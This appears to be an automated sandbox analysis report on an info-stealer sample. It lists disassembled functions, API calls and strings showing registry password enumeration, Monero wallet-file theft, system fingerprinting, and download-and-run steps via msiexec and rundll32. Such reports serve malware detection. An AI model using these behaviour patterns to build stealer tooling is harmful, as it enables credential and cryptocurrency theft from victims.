/i ", xrefs: 00412EF4
C:\Windows\system32\msiexec.exe, xrefs: 00412FCF
.dll, xrefs: 00412CF5
C:\Windows\system32\rundll32.exe, xrefs: 00412E42
<, xrefs: 00412FA0
/passive, xrefs: 00412F6B

Memory Dump Source

Source File: 0000000B.00000002.2357745692.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2357745692.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_RegAsm.jbxd

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: 8a857a4477adb986954f2aa79249c887d2c34b9584a6d767cbac78888b7f7f6b
Instruction ID: f1658c825a9884a12c356146fd8d4c6d848a61a952cd10e5c69c9f5a52c1d3c9
Opcode Fuzzy Hash: 8a857a4477adb986954f2aa79249c887d2c34b9584a6d767cbac78888b7f7f6b
Instruction Fuzzy Hash: FA121F71811108AACB14FBA1DC96FDEB778AF14314F40415EF40666192EF782BD9CFAA

Function 00417DC0 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

RegOpenKeyExA.KERNEL32(00000000,00EB64D8,00000000,00020019,00000000,004205A6), ref: 00417E44
RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00417EC6
wsprintfA.USER32 ref: 00417EF9
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00417F1B

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Strings

?, xrefs: 00417E1A
- , xrefs: 00418043
%s\%s, xrefs: 00417EED

Memory Dump Source

Source File: 0000000B.00000002.2357745692.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2357745692.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_RegAsm.jbxd

Similarity

API ID: Openlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 2731306069-3278919252
Opcode ID: 510c45c455e6bc88fad200d1259bbb7ccca656e42c71fef384590b0395d7cec4
Instruction ID: 7e933c005afce5063b6ac28d37290dd0de40035e7daa9b78ce1efab2f7c43410
Opcode Fuzzy Hash: 510c45c455e6bc88fad200d1259bbb7ccca656e42c71fef384590b0395d7cec4
Instruction Fuzzy Hash: 3581197191111CABDB28DB54CC85FEAB7B9BF08314F0082D9E10AA6190DF756BC9CFA5

Function 004060F0 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 0040483A
Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

InternetOpenA.WININET(00420DE2,00000001,00000000,00000000,00000000), ref: 0040615F
StrCmpCA.SHLWAPI(?,00EC27D8), ref: 00406197
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 004061DF
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00406203
InternetReadFile.WININET(q&A,?,00000400,?), ref: 0040622C
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0040625A
CloseHandle.KERNEL32(?,?,00000400), ref: 00406299
InternetCloseHandle.WININET(q&A), ref: 004062A3
InternetCloseHandle.WININET(00000000), ref: 004062B0

Strings

q&A, xrefs: 00406100, 004061CF, 004062B6, 00406174, 00406103
q&A, xrefs: 0040629F, 00406228, 0040622B, 004062A2

Memory Dump Source

Source File: 0000000B.00000002.2357745692.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2357745692.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_RegAsm.jbxd

Similarity

API ID: Internet$CloseFileHandle$Open$??2@CrackCreateReadWritelstrcpylstrlen
String ID: q&A$q&A
API String ID: 449328342-3681770271
Opcode ID: fdcbe641894ecd95402b57cbfc0127933b6431a3ef589c1e2230ded5e4bc1f6b
Instruction ID: 439f38139d03757dc0e639f6b6df0271613160f362a72270d2c4ade6ce016e72
Opcode Fuzzy Hash: fdcbe641894ecd95402b57cbfc0127933b6431a3ef589c1e2230ded5e4bc1f6b
Instruction Fuzzy Hash: C15161B1A00218ABDB20EF50CD49FEE7779AF44305F1081ADB606B71C1DB786A95CF99

Function 00407610 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00407310: memset.MSVCRT ref: 00407354
Part of subcall function 00407310: RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,00407CD0), ref: 0040737A
Part of subcall function 00407310: RegEnumValueA.ADVAPI32(00407CD0,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 004073F1
Part of subcall function 00407310: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0040744D
Part of subcall function 00407310: GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,00407CD0,80000001,00415CA4,?,?,?,?,?,00407CD0,?), ref: 00407492
Part of subcall function 00407310: HeapFree.KERNEL32(00000000,?,?,?,?,00407CD0,80000001,00415CA4,?,?,?,?,?,00407CD0,?), ref: 00407499

lstrcat.KERNEL32(2D432020,004217A0), ref: 00407646
lstrcat.KERNEL32(2D432020,00000000), ref: 00407688
lstrcat.KERNEL32(2D432020, : ), ref: 0040769A
lstrcat.KERNEL32(2D432020,00000000), ref: 004076CF
lstrcat.KERNEL32(2D432020,004217A8), ref: 004076E0
lstrcat.KERNEL32(2D432020,00000000), ref: 00407713
lstrcat.KERNEL32(2D432020,004217AC), ref: 0040772D
task.LIBCPMTD ref: 0040773B

Strings

: , xrefs: 0040768E

Memory Dump Source

Source File: 0000000B.00000002.2357745692.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2357745692.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuememsettask
String ID: :
API String ID: 3191641157-3653984579
Opcode ID: 01f6e0b9d01338581c6780d1ba8399ef7ff2db0f8ea6736abd4eb07c3ea6ac61
Instruction ID: 05ed671df160738881f441edec20510396de118aefbcae7eba62044a73751e2f
Opcode Fuzzy Hash: 01f6e0b9d01338581c6780d1ba8399ef7ff2db0f8ea6736abd4eb07c3ea6ac61
Instruction Fuzzy Hash: FC318476D00509EBCB14EBA0DD45DEF7779AF94304F14402EF502772A0CA38A946CFA9

Function 00407310 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00407354
RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,00407CD0), ref: 0040737A
RegEnumValueA.ADVAPI32(00407CD0,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 004073F1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0040744D
GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,00407CD0,80000001,00415CA4,?,?,?,?,?,00407CD0,?), ref: 00407492
HeapFree.KERNEL32(00000000,?,?,?,?,00407CD0,80000001,00415CA4,?,?,?,?,?,00407CD0,?), ref: 00407499

Part of subcall function 00409290: vsprintf_s.MSVCRT ref: 004092AB

task.LIBCPMTD ref: 00407595

Strings

Password, xrefs: 00407441

Memory Dump Source

Source File: 0000000B.00000002.2357745692.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2357745692.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_RegAsm.jbxd

Similarity

API ID: Heap$EnumFreeOpenProcessValuememsettaskvsprintf_s
String ID: Password
API String ID: 2698061284-3434357891
Opcode ID: e183b5279ab9e6df2eb167b03a4cc02d75207c5ff0d2bc4bafbb891a8174e7a2
Instruction ID: 975b1f2fff90f96d03099a1470760af69fc6b50b1064dc5ad3510b71ddc5061f
Opcode Fuzzy Hash: e183b5279ab9e6df2eb167b03a4cc02d75207c5ff0d2bc4bafbb891a8174e7a2
Instruction Fuzzy Hash: 52613DB5D041689BDB24DF50CC41BDAB7B8BF48304F0081EAE689A6181DFB46BC9CF95

Function 00416FA0 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00416FE2
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041701F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 004170A3
HeapAlloc.KERNEL32(00000000), ref: 004170AA
wsprintfA.USER32 ref: 004170E0

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Strings

:, xrefs: 00416FFC
C, xrefs: 00416FEC
\, xrefs: 00417000

Memory Dump Source

Source File: 0000000B.00000002.2357745692.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2357745692.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_RegAsm.jbxd

Similarity

API ID: Heap$AllocDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 3790021787-3809124531
Opcode ID: b8d4498c9ef52ac0e7ff8a74a815c8f3508d9b1454889a6f46a668afd64d8a13
Instruction ID: 54c0e4e4c236f1d7f0585d8ba6b1fa909b8b3bfc40374ef6a46e6daa0de72561
Opcode Fuzzy Hash: b8d4498c9ef52ac0e7ff8a74a815c8f3508d9b1454889a6f46a668afd64d8a13
Instruction Fuzzy Hash: 1341B1B1D04248EBDB20DFA4CC45BEEBBB8AF08714F14009DF50967281D7786A84CBA9

Function 00417BA0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,00EC1A90,00000000,?,00420DFC,00000000,?,00000000), ref: 00417BD0
HeapAlloc.KERNEL32(00000000,?,?,?,?,00000000,00000000,?,00EC1A90,00000000,?,00420DFC,00000000,?,00000000,00000000), ref: 00417BD7
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00417BF8
__aulldiv.LIBCMT ref: 00417C12
__aulldiv.LIBCMT ref: 00417C20
wsprintfA.USER32 ref: 00417C4C

Strings

%d MB, xrefs: 00417C43
@, xrefs: 00417BED

Memory Dump Source

Source File: 0000000B.00000002.2357745692.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2357745692.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_RegAsm.jbxd

Similarity

API ID: Heap__aulldiv$AllocGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2886426298-3474575989
Opcode ID: a22fd26a20c89c12fe6cfaaf614cf5a2958407047c3d7a896a6bd652d51aa950
Instruction ID: f6ead53c39b4582a22ff827f4f83d0c2aee1884270de42e44796eba59a74ffdb
Opcode Fuzzy Hash: a22fd26a20c89c12fe6cfaaf614cf5a2958407047c3d7a896a6bd652d51aa950
Instruction Fuzzy Hash: AD218CF1E44218ABDB10DFD8CC49FAEB7B9FB08B14F104509F605BB280D77869018BA9

Function 00401310 Relevance: 13.6, APIs: 5, Strings: 4, Instructions: 139stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00401327

Part of subcall function 004012A0: GetProcessHeap.KERNEL32(00000000,00000104,80000001), ref: 004012B4
Part of subcall function 004012A0: HeapAlloc.KERNEL32(00000000), ref: 004012BB
Part of subcall function 004012A0: RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 004012D7
Part of subcall function 004012A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,000000FF,000000FF), ref: 004012F5

lstrcat.KERNEL32(?,00000000), ref: 0040134F
lstrlenA.KERNEL32(?), ref: 0040135C
lstrcat.KERNEL32(?,.keys), ref: 00401377

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00418600: GetSystemTime.KERNEL32(?,00EC0798,0042059E,?,?,?,?,?,?,?,?,?,004049B3,?,00000014), ref: 00418626

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00409A10: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00409A3C
Part of subcall function 00409A10: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A61
Part of subcall function 00409A10: LocalAlloc.KERNEL32(00000040,?), ref: 00409A81
Part of subcall function 00409A10: ReadFile.KERNEL32(000000FF,?,00000000,00410127,00000000), ref: 00409AAA
Part of subcall function 00409A10: LocalFree.KERNEL32(00410127), ref: 00409AE0
Part of subcall function 00409A10: FindCloseChangeNotification.KERNEL32(000000FF), ref: 00409AEA

memset.MSVCRT ref: 00401516

Strings

SOFTWARE\monero-project\monero-core, xrefs: 00401335
.keys, xrefs: 0040136B
\Monero\wallet.keys, xrefs: 0040138D
wallet_path, xrefs: 00401330

Memory Dump Source

Source File: 0000000B.00000002.2357745692.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2357745692.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$lstrcat$File$AllocHeapLocallstrlenmemset$ChangeCloseCreateFindFreeNotificationOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 99493178-218353709
Opcode ID: 917d05209e3c6e9ca6065a0a923e579d9e5d238dbdb3523c9004ab1032494658
Instruction ID: b5eb1e2d9a8a1e3cf56e2c34e54d9e93e9a372b4459d7a8870c797c8d4c08f80
Opcode Fuzzy Hash: 917d05209e3c6e9ca6065a0a923e579d9e5d238dbdb3523c9004ab1032494658
Instruction Fuzzy Hash: AB5184B1D501186BCB14EB61DC96FED733CAF50314F4041ADB60A62092EE785BD9CBAA

Function 00416B70 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 136COMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT ref: 00416B7E

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

OpenProcess.KERNEL32(001FFFFF,00000000,00416DAD,004205AD), ref: 00416BBC
memset.MSVCRT ref: 00416C0A
??_V@YAXPAX@Z.MSVCRT ref: 00416D5E

Strings

65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 00416C2C

Memory Dump Source

Source File: 0000000B.00000002.2357745692.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2357745692.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_RegAsm.jbxd

Similarity

API ID: OpenProcesslstrcpymemset
String ID: 65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 224852652-4138519520
Opcode ID: 985516fdb4aba9a37da67002539eb8a614f9f3b36bd237ff0cc46e5de52e8429
Instruction ID: 7f38ab3eb3b1a919a3e5ec0c0fab515e305e32cb9f2de8b47bf31e49bfe0b2e9
Opcode Fuzzy Hash: 985516fdb4aba9a37da67002539eb8a614f9f3b36bd237ff0cc46e5de52e8429
Instruction Fuzzy Hash: 285162B0D002189BDB24EB95DC45BEEB774AF44318F5041AEE50566281EB78AEC8CF5D

Function 0040B8E0 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 274stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00409E60: memcmp.MSVCRT ref: 00409E7B
Part of subcall function 00409E60: memset.MSVCRT ref: 00409EAE
Part of subcall function 00409E60: LocalAlloc.KERNEL32(00000040,?), ref: 00409EFE

lstrlenA.KERNEL32(00000000), ref: 0040BADD

